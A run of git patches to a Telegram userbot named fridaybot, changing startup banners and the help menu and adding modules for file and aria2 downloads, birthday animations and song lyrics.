▀▀▀ ▀─▀▀ ▀▀▀─ ▀▀▀▀ ──▀── """ python3 -m fridaybot From 946606fc4be720d8e756730664cb6fc258a82538 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 09:02:17 +0530 Subject: [PATCH 028/838] Update start.sh --- start.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/start.sh b/start.sh index 72e6d4e1..31052f1d 100644 --- a/start.sh +++ b/start.sh @@ -1,6 +1,6 @@ -echo """ -░█──░█ ─▀─ █▀▀█ ▀▀█▀▀ █──█ █▀▀█ █──   ░█─░█ █▀▀ █▀▀ █▀▀█ █▀▀▄ █▀▀█ ▀▀█▀▀ -─░█░█─ ▀█▀ █▄▄▀ ──█── █──█ █▄▄█ █──   ░█─░█ ▀▀█ █▀▀ █▄▄▀ █▀▀▄ █──█ ──█── -──▀▄▀─ ▀▀▀ ▀─▀▀ ──▀── ─▀▀▀ ▀──▀ ▀▀▀   ─▀▄▄▀ ▀▀▀ ▀▀▀ ▀─▀▀ ▀▀▀─ ▀▀▀▀ ──▀── +echo """____ ____ __ ____ __ _ _ +( __)( _ \( )( \ / o\ ( \/ ) + ) _) ) / )( ) D (/ \ ) / +(__) (__\_)(__)(____/\_/\_/(__/ """ python3 -m fridaybot From 4e26330572437af9742eaf4634a6be54ea61b426 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 09:02:47 +0530 Subject: [PATCH 029/838] Update start.sh --- start.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/start.sh b/start.sh index 31052f1d..72e6d4e1 100644 --- a/start.sh +++ b/start.sh @@ -1,6 +1,6 @@ -echo """____ ____ __ ____ __ _ _ -( __)( _ \( )( \ / o\ ( \/ ) - ) _) ) / )( ) D (/ \ ) / -(__) (__\_)(__)(____/\_/\_/(__/ +echo """ +░█──░█ ─▀─ █▀▀█ ▀▀█▀▀ █──█ █▀▀█ █──   ░█─░█ █▀▀ █▀▀ █▀▀█ █▀▀▄ █▀▀█ ▀▀█▀▀ +─░█░█─ ▀█▀ █▄▄▀ ──█── █──█ █▄▄█ █──   ░█─░█ ▀▀█ █▀▀ █▄▄▀ █▀▀▄ █──█ ──█── +──▀▄▀─ ▀▀▀ ▀─▀▀ ──▀── ─▀▀▀ ▀──▀ ▀▀▀   ─▀▄▄▀ ▀▀▀ ▀▀▀ ▀─▀▀ ▀▀▀─ ▀▀▀▀ ──▀── """ python3 -m fridaybot From 4f480e4b5622cd85a98058453eef5ffeb92e4865 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 09:38:29 +0530 Subject: [PATCH 030/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 57f5c780..1a6dc94c 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -226,7 +226,7 @@ def paginate_help(page_number, loaded_modules, prefix): helpable_modules = sorted(helpable_modules) modules = [ custom.Button.inline( - "{} {} {}".format("🔅", x, "🔅"), data="us_plugin_{}".format(x) + "{} {} {}".format("🀄️", x, "🀄️"), data="us_plugin_{}".format(x) ) for x in helpable_modules ] From c01727b82257c5aeb41a016d3c256d9947b0abaa Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 09:43:48 +0530 Subject: [PATCH 031/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index 1a6dc94c..dd1f3e38 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -211,7 +211,8 @@ async def rip(event): @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) async def on_plug_in_callback_query_handler(event): if event.query.user_id == bot.uid: - await event.edit("menu closed") + reply_pop_up_alert1 = "Menu Closed" + await event.answer(reply_pop_up_alert1, cache_time=0, alert=True) else: reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. " await event.answer(reply_pop_up_alert, cache_time=0, alert=True) From 7c018c41935d276ce73f57652822c6e72b8fed0b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 09:46:28 +0530 Subject: [PATCH 032/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index dd1f3e38..de975d81 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -211,8 +211,7 @@ async def rip(event): @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) async def on_plug_in_callback_query_handler(event): if event.query.user_id == bot.uid: - reply_pop_up_alert1 = "Menu Closed" - await event.answer(reply_pop_up_alert1, cache_time=0, alert=True) + await event.delete() else: reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. " await event.answer(reply_pop_up_alert, cache_time=0, alert=True) From 0ec2a079155a68af63ec337116f1e0f4a0b6e5ef Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 09:48:35 +0530 Subject: [PATCH 033/838] Update _inlinebot.py --- fridaybot/modules/_inlinebot.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/_inlinebot.py b/fridaybot/modules/_inlinebot.py index de975d81..1a6dc94c 100644 --- a/fridaybot/modules/_inlinebot.py +++ b/fridaybot/modules/_inlinebot.py @@ -211,7 +211,7 @@ async def rip(event): @tgbot.on(events.callbackquery.CallbackQuery(data=re.compile(b"close"))) async def on_plug_in_callback_query_handler(event): if event.query.user_id == bot.uid: - await event.delete() + await event.edit("menu closed") else: reply_pop_up_alert = "මොන පිස්සෙක්ද තෝ? උඹටම කියල බොටෙක් හදාගනිම්. " await event.answer(reply_pop_up_alert, cache_time=0, alert=True) From 105f91d82be6eba9456b6de61fa1d18e1a8289c3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:16:57 +0530 Subject: [PATCH 034/838] Add files via upload --- fridaybot/modules/download3.py | 85 ++++++++++++++++++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 fridaybot/modules/download3.py diff --git a/fridaybot/modules/download3.py b/fridaybot/modules/download3.py new file mode 100644 index 00000000..39b5b84b --- /dev/null +++ b/fridaybot/modules/download3.py @@ -0,0 +1,85 @@ +"""Download Files to your local server +Syntax: +.dwl +.dwl url | file.name to download files from a Public Link""" + +import aiohttp +import asyncio +import math +import os +import time +from datetime import datetime +from pySmartDL import SmartDL +from telethon import events +from telethon.tl.types import DocumentAttributeVideo +from ..utils import admin_cmd, humanbytes, progress, time_formatter + + +@borg.on(admin_cmd(pattern="dwl ?(.*)")) +async def _(event): + if event.fwd_from: + return + mone = await event.reply("Processing ...") + input_str = event.pattern_match.group(1) + if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + start = datetime.now() + reply_message = await event.get_reply_message() + try: + c_time = time.time() + downloaded_file_name = await borg.download_media( + reply_message, + Config.TMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, mone, c_time, "trying to download") + ) + ) + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + else: + end = datetime.now() + ms = (end - start).seconds + await mone.edit("Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms)) + elif input_str: + start = datetime.now() + url = input_str + file_name = os.path.basename(url) + to_download_directory = Config.TMP_DOWNLOAD_DIRECTORY + if "|" in input_str: + url, file_name = input_str.split("|") + url = url.strip() + file_name = file_name.strip() + downloaded_file_name = os.path.join(to_download_directory, file_name) + downloader = SmartDL(url, downloaded_file_name, progress_bar=False) + downloader.start(blocking=False) + c_time = time.time() + while not downloader.isFinished(): + total_length = downloader.filesize if downloader.filesize else None + downloaded = downloader.get_dl_size() + display_message = "" + now = time.time() + diff = now - c_time + percentage = downloader.get_progress() * 100 + speed = downloader.get_speed() + elapsed_time = round(diff) * 1000 + progress_str = "{0}{1}\nProgress: {2}%".format( + ''.join(["█" for i in range(math.floor(percentage / 5))]), + ''.join(["░" for i in range(20 - math.floor(percentage / 5))]), + round(percentage, 2)) + estimated_total_time = downloader.get_eta(human=True) + try: + current_message = f"trying to download\nURL: {url}\nFile Name: {file_name}\n{progress_str}\n{humanbytes(downloaded)} of {humanbytes(total_length)}\nETA: {estimated_total_time}" + if round(diff % 10.00) == 0 and current_message != display_message: + await mone.edit(current_message) + display_message = current_message + except Exception as e: + logger.info(str(e)) + end = datetime.now() + ms = (end - start).seconds + if downloader.isSuccessful(): + await mone.edit("Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms)) + else: + await mone.edit("Incorrect URL\n {}".format(input_str)) + else: + await mone.edit("Reply to a message to download to my local server.") From de9d82d02a78ddbc9db2232e0a2db48f2cc1cfa8 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:20:11 +0530 Subject: [PATCH 035/838] Update aria2.py --- fridaybot/modules/aria2.py | 277 +++++++++++-------------------------- 1 file changed, 84 insertions(+), 193 deletions(-) diff --git a/fridaybot/modules/aria2.py b/fridaybot/modules/aria2.py index 7b5e1487..62d36110 100644 --- a/fridaybot/modules/aria2.py +++ b/fridaybot/modules/aria2.py @@ -1,204 +1,95 @@ -# Copyright (C) 2019 The Raphielscape Company LLC. -# -# Licensed under the Raphielscape Public License, Version 1.c (the "License"); -# you may not use this file except in compliance with the License. -# - -# Asena UserBot - Yusuf Usta -# +""" +command: .url +""" import aria2p -from asyncio import sleep -from os import system -from fridaybot import LOGS, CMD_HELP from telethon import events -from requests import get -from fridaybot.utils import register - - - -# Gelişmiş indirme hızları için en iyi trackerları çağırır, bunun için K-E-N-W-A-Y'e teşekkürler. -trackers_list = get( - 'https://raw.githubusercontent.com/ngosang/trackerslist/master/trackers_best.txt' -).text.replace('\n\n', ',') -trackers = f"[{trackers_list}]" - -cmd = f"aria2c \ ---enable-rpc \ ---rpc-listen-all=false \ ---rpc-listen-port 6800 \ ---max-connection-per-server=10 \ ---rpc-max-request-size=1024M \ ---seed-time=0.01 \ ---max-upload-limit=5K \ ---max-concurrent-downloads=5 \ ---min-split-size=10M \ ---follow-torrent=mem \ ---split=10 \ ---bt-tracker={trackers} \ ---daemon=true \ ---allow-overwrite=true" +import asyncio +import os +from ..utils import admin_cmd +cmd = "aria2c --enable-rpc --rpc-listen-all=false --rpc-listen-port 6800 --max-connection-per-server=10 --rpc-max-request-size=1024M --seed-time=0.01 --min-split-size=10M --follow-torrent=mem --split=10 --daemon=true" -aria2_is_running = system(cmd) +aria2_is_running = os.system(cmd) -aria2 = aria2p.API(aria2p.Client(host="http://localhost", port=6800, - secret="")) +aria2 = aria2p.API( + aria2p.Client( + host="http://localhost", + port=6800, + secret="" + ) + ) +EDIT_SLEEP_TIME_OUT = 10 -@register(outgoing=True, pattern="^.amag(?: |$)(.*)") +@borg.on(admin_cmd(pattern="fdownload ?(.*)")) async def magnet_download(event): - magnet_uri = event.pattern_match.group(1) - # Magnet URI'ı kuyruğa ekler. - try: - download = aria2.add_magnet(magnet_uri) - except Exception as e: - LOGS.info(str(e)) - await event.edit("Hata:\n`" + str(e) + "`") - return - gid = download.gid - await check_progress_for_dl(gid=gid, event=event, previous=None) - await sleep(5) - new_gid = await check_metadata(gid) - await check_progress_for_dl(gid=new_gid, event=event, previous=None) - - -@register(outgoing=True, pattern="^.ator(?: |$)(.*)") -async def torrent_download(event): - torrent_file_path = event.pattern_match.group(1) - # Torrent'i kuyruğa ekler. - try: - download = aria2.add_torrent(torrent_file_path, - uris=None, - options=None, - position=None) - except Exception as e: - await event.edit(str(e)) - return - gid = download.gid - await check_progress_for_dl(gid=gid, event=event, previous=None) - - -@register(outgoing=True, pattern="^.aurl(?: |$)(.*)") -async def amagnet_download(event): - uri = [event.pattern_match.group(1)] - try: # URL'yi kuyruğa ekler. - download = aria2.add_uris(uri, options=None, position=None) - except Exception as e: - LOGS.info(str(e)) - await event.edit("Hata :\n`{}`".format(str(e))) - return - gid = download.gid - await check_progress_for_dl(gid=gid, event=event, previous=None) - file = aria2.get_download(gid) - if file.followed_by_ids: - new_gid = await check_metadata(gid) - await progress_status(gid=new_gid, event=event, previous=None) - - -@register(outgoing=True, pattern="^.aclear(?: |$)(.*)") -async def remove_all(event): - await event.edit("`Devam eden indirmeler temizleniyor... `") - try: - removed = aria2.remove_all(force=True) - aria2.purge_all() - except: - pass - if not removed: # Eğer API False olarak dönerse sistem vasıtasıyla kaldırılmaya çalışılır. - system("aria2p remove-all") - await event.edit("`Tüm indirilenler başarıyla temizlendi.`") - - -@register(outgoing=True, pattern="^.apause(?: |$)(.*)") -async def pause_all(event): - # Tüm devam eden indirmeleri duraklatır. - await event.edit("`İndirmeler duraklatılıyor...`") - aria2.pause_all(force=True) - await event.edit("`Devam eden indirmeler başarıyla durduruldu.`") - - -@register(outgoing=True, pattern="^.aresume(?: |$)(.*)") -async def resume_all(event): - await event.edit("`İndirmeler devam ettiriliyor...`") - aria2.resume_all() - await event.edit("`İndirmeler devam ettirildi.`") - await sleep(2.5) - await event.delete() - - -@register(outgoing=True, pattern="^.ashow(?: |$)(.*)") -async def show_all(event): - output = "output.txt" - downloads = aria2.get_downloads() - msg = "" - for download in downloads: - msg = msg + "Dosya: `" + str(download.name) + "`\nHız: " + str( - download.download_speed_string()) + "\nİşlem: " + str( - download.progress_string()) + "\nToplam Boyut: " + str( - download.total_length_string()) + "\nDurum: " + str( - download.status) + "\nTahmini bitiş: " + str( - download.eta_string()) + "\n\n" - if len(msg) <= 4096: - await event.edit("`Devam eden indirmeler: `\n" + msg) - await sleep(5) - await event.delete() - else: - await event.edit("`Çıktı çok büyük, bu sebepten dolayı dosya olarak gönderiliyor...`") - with open(output, 'w') as f: - f.write(msg) - await sleep(2) - await event.delete() - await event.client.send_file( - event.chat_id, - output, - force_document=True, - supports_streaming=False, - allow_cache=False, - reply_to=event.message.id, - ) + if event.fwd_from: + return + var = event.pattern_match.group(1) + print(var) + uris = [var] + + #Add URL Into Queue + try: + download = aria2.add_uris(uris, options=None, position=None) + except Exception as e: + await event.edit("`Error:\n`"+str(e)) + return + + gid = download.gid + complete = None + await progress_status(gid=gid,event=event,previous=None) + file = aria2.get_download(gid) + if file.followed_by_ids: + new_gid = await check_metadata(gid) + await progress_status(gid=new_gid,event=event,previous=None) + while complete != True: + file = aria2.get_download(gid) + complete = file.is_complete + try: + msg = "**Downloading File:** "+str(file.name) +"\n**Speed:** "+ str(file.download_speed_string())+"\n**Progress:** "+str(file.progress_string())+"\n**Total Size:** "+str(file.total_length_string())+"\n**ETA:** "+str(file.eta_string())+"\n\n" + await event.edit(msg) + await asyncio.sleep(10) + except Exception as e: + # print(str(e)) + pass + + await event.edit("**File Downloaded Successfully:** `{}`".format(file.name)) + + +async def progress_status(gid,event,previous): + try: + file = aria2.get_download(gid) + if not file.is_complete: + if not file.error_message: + msg = "Downloading File: `"+str(file.name) +"`\nSpeed: "+ str(file.download_speed_string())+"\nProgress: "+str(file.progress_string())+"\nTotal Size: "+str(file.total_length_string())+"\nStatus: "+str(file.status)+"\nETA: "+str(file.eta_string())+"\n\n" + if previous != msg: + await event.edit(msg) + previous = msg + else: + logger.info(str(file.error_message)) + await event.edit("Error : `{}`".format(str(file.error_message))) + return + await asyncio.sleep(EDIT_SLEEP_TIME_OUT) + await progress_status(gid,event,previous) + else: + await event.edit("File Downloaded Successfully: `{}`".format(file.name)) + return + except Exception as e: + if " not found" in str(e) or "'file'" in str(e): + await event.edit("Download Canceled :\n`{}`".format(file.name)) + return + elif " depth exceeded" in str(e): + file.remove(force=True) + await event.edit("Download Auto Canceled :\n`{}`\nYour Torrent/Link is Dead.".format(file.name)) + else: + logger.info(str(e)) + await event.edit("Error :\n`{}`".format(str(e))) + return async def check_metadata(gid): - file = aria2.get_download(gid) - new_gid = file.followed_by_ids[0] - LOGS.info("GID " + gid + " şu değerden şu değere değiştiriliyor:" + new_gid) - return new_gid - - -async def check_progress_for_dl(gid, event, previous): - complete = None - while not complete: - file = aria2.get_download(gid) - complete = file.is_complete - try: - if not complete and not file.error_message: - msg = f"\nİndirilen dosya: `{file.name}`" - msg += f"\nHız: {file.download_speed_string()}" - msg += f"\nİşlem: {file.progress_string()}" - msg += f"\nToplam Boyut: {file.total_length_string()}" - msg += f"\nDurum: {file.status}" - msg += f"\nTahmini bitiş: {file.eta_string()}" - if msg != previous: - await event.edit(msg) - msg = previous - else: - LOGS.info(str(file.error_message)) - await event.edit(f"`{msg}`") - await sleep(5) - await check_progress_for_dl(gid, event, previous) - file = aria2.get_download(gid) - complete = file.is_complete - if complete: - await event.edit(f"Dosya başarıyla indirdi: `{file.name}`" - ) - return False - except Exception as e: - if " not found" in str(e) or "'file'" in str(e): - await event.edit("İndirme iptal edildi :\n`{}`".format(file.name)) - await sleep(2.5) - await event.delete() - return - elif " depth exceeded" in str(e): - file.remove(force=True) - await event.edit( - "İndirme otomatik olarak iptal edildi:\n`{}`\nTorrent ya da link ölü." - .format(file.name)) + file = aria2.get_download(gid) + new_gid = file.followed_by_ids[0] + logger.info("Changing GID "+gid+" to "+new_gid) + return new_gid From 2a8f4727368eb18330744636c2ad73e06d2223c3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:21:47 +0530 Subject: [PATCH 036/838] Create hbd.py --- fridaybot/modules/hbd.py | 51 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 fridaybot/modules/hbd.py diff --git a/fridaybot/modules/hbd.py b/fridaybot/modules/hbd.py new file mode 100644 index 00000000..b4d0edfd --- /dev/null +++ b/fridaybot/modules/hbd.py @@ -0,0 +1,51 @@ +#By @NOOB_GUY_OP for Dark CObra +#If you steal this without credits You will be the geyest gey ever in the world that you will suck cat's dick. +from telethon import events +import asyncio +from ..utils import admin_cmd +from .. import ALIVE_NAME +from .. import CMD_HELP +import importlib.util + +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" + +@borg.on(admin_cmd(pattern="hbty$")) + +async def _(event): + if event.fwd_from: + return + animation_interval = 5 + animation_ttl = range(0, 16) + await event.edit("Starting...") + animation_chars = [ + "**Hello!👋**", + "**How Are You?**", + "[.](http://2.bp.blogspot.com/-WGLaIVbpK6U/WT4sr0LG2TI/AAAAAAAAVX0/1t0F3gECRh4okN6zJzq6fMwQ7dA4Qw8AwCLcB/s1600/happy-birthday-to-you.png)", + "**Wishing you 👈 a 👌 day 🌞 filled 😏 with 👏 happiness and 👏 a 👌 year 🎉 filled 😏 with 👏 joy 😁.**", + "**Sending you 👈 smiles 😀 for every 👏 moment 🏆 of your special 😲 day 🌞*", + "**Have 👏 a 👌 wonderful 😊 time 🕐 and a very 👌 happy 😊 birthday 🎂!**", + "**Count your 👏 life 👤 by 😈 smiles, 😀 not 🚫 tears. 😭 Count your 👏 age 👵 by 😈 friends, 👫 not 🚫 years. 📅 Happy 😊 birthday 🎂!**", + "**I hope 🙏 all 💯 your 👏 birthday 🎂 wishes and 👏 dreams 🔚 come true. 💯**", + "**Another 🔄 adventure filled 😏 year 🎉 awaits you. 👈 Welcome it 💯 by 😈 celebrating 🚫 your 👏 birthday 🎂 with 👏 pomp and 👏 splendor. Wishing you 👈 a 👌 very 👌 happy 😊 and 👏 fun-filled birthday 🎂!**", + "**Happy 😊 birthday 🎂 to someone 👤 who 😂 is smart, 👩 gorgeous, 😍 funny 😄 and 👏 reminds me 😭 a 👌 lot of 💦 myself… from 👉 one 😤 fabulous chick 🐣 to another !**", + "[.](http://www.handletheheat.com/wp-content/uploads/2015/03/Best-Birthday-Cake-with-milk-chocolate-buttercream-SQUARE.jpg)", + "[.](http://i.pinimg.com/originals/49/d2/e3/49d2e318a2705cbd300e21023392ff6f.jpg)", + "Here is also 🎁Gifts🎁 from me👨.", + "[.](http://5.imimg.com/data5/KE/IK/MY-15644577/antique-gold-gift-box-luxury-rigid-box02-250x250.jpg)", + "[.](http://i.pinimg.com/originals/10/b8/fb/10b8fb15270d8db1f6ff967e7026d2de.gif)", + "[.](http://www.lovethispic.com/uploaded_images/367867-Starry-Happy-Birthday-Gif.gif)", + ] + for i in animation_ttl:#By @NOOB_GUY_OP for Dark CObra + + await asyncio.sleep(animation_interval) + await event.edit(animation_chars[i %16 ], link_preview=True)#By @NOOB_GUY_OP for Dark CObra + +@borg.on(admin_cmd(pattern=r"binod ?(.*)")) +async def bid(event): + giveVar = event.text + bid = giveVar[5] + if not bid: + bid = "😂" + await event.edit( + f"{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n\n{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}\n\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n\n {bid}{bid}{bid}{bid}{bid}\n {bid}{bid}{bid}{bid}{bid}{bid}{bid}\n {bid}{bid} {bid}{bid}\n {bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n {bid}{bid} {bid}{bid}\n {bid}{bid} {bid}{bid}\n {bid}{bid}{bid}{bid}{bid}{bid}{bid}\n {bid}{bid}{bid}{bid}{bid}\n\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid} {bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}{bid}\n{bid}{bid}{bid}{bid}{bid}{bid}{bid}" + ) From dc9b3bd7e45b0a8a93f707f412a1a2ee3ad87416 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com> Date: Wed, 23 Dec 2020 13:22:58 +0530 Subject: [PATCH 037/838] Create ensongs.py --- fridaybot/modules/ensongs.py | 165 +++++++++++++++++++++++++++++++++++ 1 file changed, 165 insertions(+) create mode 100644 fridaybot/modules/ensongs.py diff --git a/fridaybot/modules/ensongs.py b/fridaybot/modules/ensongs.py new file mode 100644 index 00000000..df203966 --- /dev/null +++ b/fridaybot/modules/ensongs.py @@ -0,0 +1,165 @@ +""" Sing a song... + Command .engsongs + + """ + + + + +from telethon import events + +import asyncio + +import os + +import sys + +import random + +from ..utils import admin_cmd + +@borg.on(admin_cmd(pattern=r"engsongs", outgoing=True)) + +async def _(event): + + if event.fwd_from: + + return + + await event.edit("Singing...") + + await asyncio.sleep(2) + + x=(random.randrange(1,33)) + + if x==1: + + await event.edit("🎶 I'm in love with the shape of you \n We push and pull like a magnet do\n Although my heart is falling too \n I'm in love with your body \n And last night you were in my room \n And now my bedsheets smell like you \n Every day discovering something brand new 🎶 \n 🎶 I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body 🎶 \n **-Shape of You**") + + if x==2: + + await event.edit("🎶 I've been reading books of old \n The legends and the myths \n Achilles and his gold \n Hercules and his gifts \n Spiderman's control \n And Batman with his fists \n And clearly I don't see myself upon that list 🎶 \n **-Something Just Like This **") + + if x==3: + + await event.edit("🎶 I don't wanna live forever \n 'Cause I know I'll be livin' in vain \n And I don't wanna fit wherever \n I just wanna keep callin' your name \n Until you come back home \n I just wanna keep callin' your name \n Until you come back home \n I just wanna keep callin' your name \n Until you come back home 🎶 \n **-I don't Wanna Live Forever **") + + if x==4: + + await event.edit("🎶 Oh, hush, my dear, it's been a difficult year \n And terrors don't prey on \n Innocent victims \n Trust me, darling, trust me darling \n It's been a loveless year \n I'm a man of three fears \n Integrity, faith and \n Crocodile tears \n Trust me, darling, trust me, darling 🎶 \n **-Bad Lier") + + if x==5: + + await event.edit("🎶 Walking down 29th and Park \n I saw you in another's arms \n Only a month we've been apart \n **You look happier** \n \n Saw you walk inside a bar \n He said something to make you laugh \n I saw that both your smiles were twice as wide as ours \n Yeah, you look happier, you do 🎶 \n **-Happier **") + + if x==6: + + await event.edit("🎶 I took the supermarket flowers from the windowsill \n I threw the day old tea from the cup \n Packed up the photo album Matthew had made \n Memories of a life that's been loved \n Took the get well soon cards and stuffed animals \n Poured the old ginger beer down the sink \n Dad always told me, 'don't you cry when you're down' \n But mum, there's a tear every time that I blink 🎶 \n **-Supermarket Flowers**") + + if x==7: + + await event.edit("🎶 And you and I we're flying on an aeroplane tonight \n We're going somewhere where the sun is shining bright \n Just close your eyes \n And let's pretend we're dancing in the street \n In Barcelona \n Barcelona \n Barcelona \n Barcelona 🎶 \n **-Barcelona **") + + if x==8: + + await event.edit("🎶 Maybe I came on too strong \n Maybe I waited too long \n Maybe I played my cards wrong \n Oh, just a little bit wrong \n Baby I apologize for it \n \n I could fall, or I could fly \n Here in your aeroplane \n And I could live, I could die \n Hanging on the words you say \n And I've been known to give my all \n And jumping in harder than \n Ten thousand rocks on the lake 🎶 \n **-Dive**") + + if x==9: + + await event.edit("🎶 I found a love for me \n Darling just dive right in \n And follow my lead \n Well I found a girl beautiful and sweet \n I never knew you were the someone waiting for me \n 'Cause we were just kids when we fell in love \n Not knowing what it was \n \n I will not give you up this time \n But darling, just kiss me slow, your heart is all I own \n And in your eyes you're holding mine 🎶 \n **-Perfect**") + + if x==10: + + await event.edit("🎶 I was born inside a small town, I lost that state of mind \n Learned to sing inside the Lord's house, but stopped at the age of nine \n I forget when I get awards now the wave I had to ride \n The paving stones I played upon, they kept me on the grind \n So blame it on the pain that blessed me with the life 🎶 \n **-Eraser**") + + if x==11: + + await event.edit("🎶 Say, go through the darkest of days \n Heaven's a heartbreak away \n Never let you go, never let me down \n Oh, it's been a hell of a ride \n Driving the edge of a knife. \n Never let you go, never let me down \n \n Don't you give up, nah-nah-nah \n I won't give up, nah-nah-nah \n Let me love you \n Let me love you 🎶 \n **-Let me Love You**") + + if x==12: + + await event.edit("🎶 I'll stop time for you \n The second you say you'd like me to \n I just wanna give you the loving that you're missing \n Baby, just to wake up with you \n Would be everything I need and this could be so different \n Tell me what you want to do \n \n 'Cause I know I can treat you better \n Than he can \n And any girl like you deserves a gentleman 🎶 **-Treat You Better**") + + if x==13: + + await event.edit("🎶 You're the light, you're the night \n You're the color of my blood \n You're the cure, you're the pain \n You're the only thing I wanna touch \n Never knew that it could mean so much, so much \n You're the fear, I don't care \n 'Cause I've never been so high \n Follow me through the dark \n Let me take you past our satellites \n You can see the world you brought to life, to life \n \n So love me like you do, lo-lo-love me like you do \n Love me like you do, lo-lo-love me like you do 🎶 \n **-Love me Like you Do**") + + if x==14: + + await event.edit("🎶 Spent 24 hours \n I need more hours with you \n You spent the weekend \n Getting even, ooh ooh \n We spent the late nights \n Making things right, between us \n But now it's all good baby \n Roll that Backwood baby \n And play me close \n \n 'Cause girls like you \n Run around with guys like me \n 'Til sundown, when I come through \n I need a girl like you, yeah yeah 🎶 \n **-Girls Like You**") + + if x==15: + + await event.edit("🎶 Oh, angel sent from up above \n You know you make my world light up \n When I was down, when I was hurt \n You came to lift me up \n Life is a drink and love's a drug \n Oh, now I think I must be miles up \n When I was a river dried up \n You came to rain a flood 🎶**-Hymn for the Weekend ** ") + + if x==16: + + await event.edit("🎶 I've known it for a long time \n Daddy wakes up to a drink at nine \n Disappearing all night \n I don’t wanna know where he's been lying \n I know what I wanna do \n Wanna run away, run away with you \n Gonna grab clothes, six in the morning, go 🎶 